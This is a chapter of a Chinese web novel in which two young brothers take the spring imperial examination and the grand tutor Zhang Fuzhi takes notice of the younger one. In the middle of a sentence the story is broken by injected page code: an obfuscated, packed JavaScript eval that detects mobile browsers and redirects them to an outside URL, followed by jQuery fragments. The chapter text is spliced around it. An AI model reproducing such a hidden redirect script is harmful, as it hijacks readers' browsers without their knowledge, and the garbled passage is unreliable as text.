71. 第七十一章

作品:《侯府大小姐竟是男扮女装?

    “哦?收到了?”贺章之扬起眉头,十分惊讶,“既然收到了,为何杨兄不来赴约?”


    “太忙了。”杨纨枫言简意赅,一个字也不想多说。


    贺章之还想再说什么,恰巧这时前边排队的人刚好搜完身,杨纨枫连忙拽着杨纨玦跟上队伍。


    等到哥俩搜完身进了考场,杨纨玦轻声道:“......还真是暴戾啊。”


    不问个中详情,张口就要把管事杖毙。


    “只是不把人当人看罢了。”杨纨枫淡淡道,“那些下人奴婢,甚至于平头百姓,在他们眼里和那些待宰的牛羊没什么区别。”


    杨纨玦拍了拍他的肩:“别想那么多了,咱们去找号舍吧。”


    春闱的考场比起秋闱最大的不同,就是春闱的考场要大许多,毕竟参加春闱的是来自五湖四海的考生,再者,便是春闱的考官,就都是实实在在的京官。


    这些考官都会是考生们及第做官以后的前辈乃至上司,他们不仅决定了考生春闱能否高中,更是影响着考生做官以后的仕途,因此考生私下行贿者也不在少数。


    不过这种行贿的行为在当朝倒是少了许多,甚至近乎没有。


    为何如此?究其原因,则是因为当朝几十年春闱的主考官都由一人——太师张辅之亲自担任。


    太师本非实官,其本质工作为辅佐皇帝,而不直接插手政事,因此大多数情况下的太师并没有太多话语权。


    但是张辅之不同的是,他从建朝之初便入朝为官,历任侍郎、尚书,后于满朝文武面前领下圣旨,封为太师,代行百官之责。


    虽说“代行百官之责”这句话是高祖时立下的,如今历经三代,早就作废了,但是张辅之在百官之中的地位却早已无可撼动。


    不仅如此,世人皆知张太师和儒圣乃是生死之交,两人皆出身自柳州,少年之时便是挚友,俩人一位处庙堂之高稳政局,一位处江湖之远扬威名,此乃大楚几十年不变的佳话。


    因此,当考试铃声响起,太师张辅之带着一众考官巡视考场之时,无数考生都来到号舍门前,深处脑袋朝外边张望。


    “快看,那就是张太师!”


    “气势好强大!”


    “那可是大楚等同于丞相的存在啊!”


    考生们呼声之热烈,热烈到督考们都按不下来,不过好在试卷都还没有发,考生们也都在自己的号舍安稳地呆着里,热闹归热闹,没有影响到秩序就好。


    杨纨玦和杨纨枫哥俩听到外边这般热闹,也不由得好奇得探出头。


    太师张辅之的声名他们自然是知道的,不过这并非让他们好奇的原因,他们好奇的是,传闻中能镇得住曾祖和曾叔祖两个老顽童的那位老大哥,究竟是何许人也。


    如今远远一瞧,只见来者明明一身官服,却愣是穿出了仙风道骨的气质,瞧那沟壑纵横的眉心旁凌厉的双眼,仿佛只要多看一眼,都能被吓得屁滚尿流。


    怪不得能镇得住两位老爷子呢。


    杨纨玦在心里腹诽着,杨纨枫则是非常郁闷地看着拦在自己面前的号舍门。


    考场门在考试开始后便全部上锁了,为了保障考生有意外向督考禀告,所以号舍的门自然不能全部封死,要留有一定的空间;而为了防止考生看到其他号舍的答卷作弊,所以门也不能建的太矮。


    他们考场的门高度刚好到一个正常成年男性的脖颈,这个高度对于大多数人都没问题,包括杨纨玦,但是杨纨枫就......


    他第一次痛恨自己怎么只有十四岁,这个门的高度到了他的鼻翼,直接遮住了他半张脸!


    这样从门外边看,他肯定就像个滑稽的矮子。


    他又想起了除夕那日,母亲说他还不如纨岚高......


    虽然当时也验证了母亲只是误判,但是,这件事还是默默地伤害了杨纨枫小朋友可怜的自尊心。


    现在又看到了这扇高得离谱的号舍门,杨纨枫愤恨地猛捶了一下号舍门。


    本来周围考生的呼声这般热烈,杨纨枫捶门的闷声应当是不会被发现的,却不曾想,这一声却是清清楚楚地落进了张辅之的耳朵里。


    听到声音的张辅之猛地回过头,刚好和杨纨枫对视上。


    杨纨枫的后背逐渐开始冒起冷汗。


    这熟悉的魄力......他和曾祖绝对是亲兄弟!


    张辅之则是略微惊讶地扬起眉头:“参加春闱的考生里边还有年纪这么小的?”


    身量才只比那扇门高半个头。


    身旁的考官小声介绍道:“这位是安定侯府的二少爷,去年连中四元一路杀上的春闱。”


    哦?连中四元?


    张辅之不由得想到了几十年前一个意气风发的身影,那个人也是一路连中四元,成为柳州最大的传奇,锐气之盛,剑指会元。


    后来变故陡生,天之骄子一夜之间沦为废人......


    当初的柳州三杰,他成了百官之长,老陆成了儒圣,而最有天资的那个,却埋没在了茫茫人间。


    细细想来,他们也有几十年没见了,不知道那人在柳州过得可还好么。


    分别之后最初的几年里,他还会时常给那人写信,只是所有的信件都石沉大海,而他也越来越忙,逐渐就断了联系。


    ......罢了,不想那么多了,老陆最近不是一直在京城么,那老小子之前天南海北的游学,回头托他问问那人的消息。


    张辅之逐渐回过神,又看向半张脸被号舍门挡住的杨纨枫,忽地有些恍惚。


    有那么一瞬间,自己竟在这个孩子的身上看到了那个故人的影子。


    江山代有才人出啊。


    他不禁流露出了一丝微笑:“好好考。”


    那个人曾经可是对月当歌,要连中六元的。


    杨纨枫呆呆地看着张辅之突然露出的笑容,感觉自己整个人都傻了。


    张太师刚才冲着他笑了?


    事实上,不仅仅是杨纨枫感到震惊,四周的考生、张辅之身后的考官,所有人都被惊得魂飞魄散。


    从来不苟言笑的张辅之张太师为什么会笑!


    一个考官小声问身旁的同僚:“你入朝时间比我长,你见过太师笑过么?”


    同僚擦了擦额头的冷汗:“没有啊!”


    他这辈子见过最多的就是张太师那杀人一样的眼神,还有皱成“川”字的眉心。


    “那怎么......难道太师和杨二公子认识?”还有考官猜测道。


    “你傻啊?”同僚提醒他,“刚才太师不还问那孩子是谁吗?”


    “那是怎么......”


    “唉。”有考官叹了口气,“没准就是因为人家天资高,太师爱才心切呢,纵观历朝,连中四元上春闱的能有几个?”


    其余考官顿时深以为然,纷纷长叹,他们这些人,当年也都和现在考场里热烈欢呼的考生一模一样,当时谁不期望能被太师多看一眼呢?


    长叹过后,也不由得多看了杨纨枫几眼,太师这些年来一共留意过几个后辈?


    啧啧,这孩子以后只怕前途无量咯!


    考官们心思活络着,杨纨枫倒是没想这么多,他在刚才的一瞬间里,总觉得太师看向自己的眼中还流露着别的情绪。


    话说回来,太师这么忙,都没空去看看曾祖么?从曾祖和曾叔祖的话里看,太师和曾祖的感情应当也很深厚吧?


    他们长辈之间的事情想必没有那么简单,不过这些都不是他现在该想的,眼见着张太师和考官们一路走远,杨纨枫也回到了自己的位子上。


    他现在该想的,是要在春闱考出一个漂亮的成绩。


    春闱两场分别过了书义


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12823289|123316||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    经义、试论判语,终于到了第三场,也就是最重要的一场——策论。


    督考将试卷从号门上边递进来后,杨纨枫接过试卷定睛一看,怔愣住了。


    这道题怎么......


    和他当初在府试考场外,问钱志远的那个问题一模一样!


    这下可好了,这道题他早已在心里思索了千遍百遍,如今下笔如有神助,三下五除二就写满了整整几页。


    只是写完之后,他忽地有些恍惚。


    春闱能考这道题,说明朝堂之上也是注意到了事情的严重吧?


    那么......为什么当时没有人去管管?


    总不能是因为朝廷当时也不知道怎么管吧?


    那当然是不能的。


    当初张辅之当堂上奏,就治洪一事列出了三个方案,言之凿凿,条理清晰,却只因一点被新帝全部驳回。


    那就是,支出太高。


    当时恰逢丽妃生辰,奢华大办自是需要不少银两,一介平民百姓怎么能和圣上的爱妃相提并论?


    那是新帝第一次驳斥张辅之的奏折,也只这一回,便叫张辅之看出,这个新帝难堪大任。


    若非先帝临终前拉着他的手,千叮咛万嘱咐,他还能忍到现在?


    只是这洪灾一事,也彻底成为了他心中的一根刺。


    他与新帝意见不合,多次议政不欢而散,皇帝不点头,那他的方案就算想出花来也没用。


    这大楚江山,唯恐毁于一旦。


    新帝还年轻,而他已经老了,朝堂之上尚未有能承接丞相重任之人,他面上心灰意冷,心里却急得冒火。


    如今只能寄希望于这些考生,这些大楚的未来,能够在他百年之后,撑起这将倾颓的王朝。


    此时,当杨纨枫将答案写下之后,另一间号舍的贺章之也是难以置信地瞪着眼睛。


    这道题,和杨纨枫那小子当时在府试说过的一模一样!


    他不禁笑了,真是天助我也。


    策论一提从来都是他最不擅长的,他完全无法理解书中那些花大银两去救助那些低贱草民的做法,他去年秋闱只是堪堪中了举,便是因着策论答得不行。


    如今这可真是方便了他,他就说,杨纨枫那小子必定是有用处的!


    你看,虽然那小子狂妄自大、结交朋友还要摆架子,但是就算是不和他结交,都能有这么大的好处,这要是真结交成了友人,往后好处只会更多!


    贺章之这般想着,同时努力回忆着杨纨枫当初在府试说过的话,提起笔缓缓落字于纸上。


    很快,等到过了第三场策论,春闱终于也结束了。


    今年的冬天不仅比往年来得早,还要比往年更加漫长,苏若琳和秋姨娘早早地备了两个暖炉子,等到哥俩出来以后,下人们接过行礼,连忙把暖炉子递到他们手里。


    考过了春闱,科举的路就成功了一半,秋姨娘照例心疼地看着哥俩:“上次瘦得都还没补回来呢,怎么这次瘦得更严重了!”


    苏若琳揉着纨枫的头,笑了笑:“就这一次了,往后就再也不用受这个苦了。”


    杨纨枫小声问道:“母亲相信我和大哥这次就能过吗?”


    那一双疲惫但好看的眼眸充满了期待。


    苏若琳心道,省状元和省第七,要是高考还不能考个九八五,那她就去手撕教育局。


    “当然。”苏若琳宠溺地刮了刮他的鼻子,“母亲相信你们两个,肯定能考个最好的成绩,然后一举及第!”


    秋姨娘和两个孩子都露出了笑容。


    “行了,咱们快些回去吧,今年真是冷,早些回家泡个热水澡。”苏若琳说着不由得打了个寒颤。


    今年是真的冷啊,直到现在碧波池的冰都还没化干净,京城尚且如此,纨岚那孩子早就去了北方,也不知道现在冷不冷。